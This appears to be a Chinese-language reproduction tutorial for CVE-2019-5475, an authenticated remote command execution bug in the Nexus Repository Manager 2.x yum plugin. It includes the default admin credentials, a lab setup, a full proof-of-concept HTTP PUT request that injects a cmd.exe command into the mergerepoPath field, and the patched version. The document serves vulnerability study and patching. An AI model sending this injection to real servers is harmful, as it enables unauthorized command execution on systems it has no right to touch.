您好,登錄后才能下訂單哦!
這期內(nèi)容當(dāng)中小編將會給大家?guī)碛嘘P(guān)Nexus2 yum插件RCE漏洞CVE-2019-5475是怎樣復(fù)現(xiàn)的,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
0x01 漏洞概述
最近hackerone才公開了Nexus Repository Manager 2.X漏洞細(xì)節(jié),該漏洞默認(rèn)存在部署權(quán)限賬號,成功登錄后可使用“createrepo”或“mergerepo”自定義配置,可觸發(fā)遠(yuǎn)程命令執(zhí)行漏洞
0x02 影響版本
Nexus Repository Manager OSS <= 2.14.13
Nexus Repository Manager Pro <= 2.14.13
限制:admin權(quán)限才可觸發(fā)漏洞
0x03 環(huán)境搭建
Nexus-2.14.13下載地址:
https://download.sonatype.com/nexus/oss/nexus-2.14.13-01-bundle.zip
Windows搭建:
解壓后進入相應(yīng)版本目錄
分別右擊以下文件使用管理員權(quán)限運行:
install-nexus.bat
start-nexus.bat
訪問 localhost:8081/nexus 驗證服務(wù)是否真的開啟
若訪問成功,則服務(wù)啟動成功
若失敗,按下面鏈接改配置文件wrapper.conf即可
https://blog.csdn.net/nthack5730/article/details/51082270
0x04 漏洞利用
首先以管理員身份(admin/admin123)登錄
然后找到漏洞位置:Capabilities - Yum:Configuration - Settings
點擊 Save 抓包,更改mergerepoPath后的value值
C:\\Windows\\System32\\cmd.exe /k dir&
此處使用 /k 是因為這樣命令執(zhí)行完會保留進程不退出,而 /c 后執(zhí)行完會退出;由于給用戶提供的命令后面加了一個 --version,所以后面要加個&,&表兩個命令同時執(zhí)行,這樣就不會干擾其他命令的執(zhí)行
Poc如下:
PUT /nexus/service/siesta/capabilities/00012bdb034073a3 HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Nexus-UI: true
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 241
DNT: 1
Connection: close
Referer: http://127.0.0.1:8081/nexus/
Cookie: NXSESSIONID=105c7cb1-a307-43a3-9ff8-9770b5ae3b13
{"typeId":"yum","enabled":true,"properties":[{"key":"maxNumberParallelThreads","value":"10"},{"key":"createrepoPath","value":"111"},{"key":"mergerepoPath","value":"C:\\Windows\\System32\\cmd.exe /k dir&"}],"id":"00012bdb034073a3","notes":""}
0x05 修復(fù)方式
下載官方的修復(fù)版2.14.14-01
上述就是小編為大家分享的Nexus2 yum插件RCE漏洞CVE-2019-5475是怎樣復(fù)現(xiàn)的了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關(guān)知識,歡迎關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。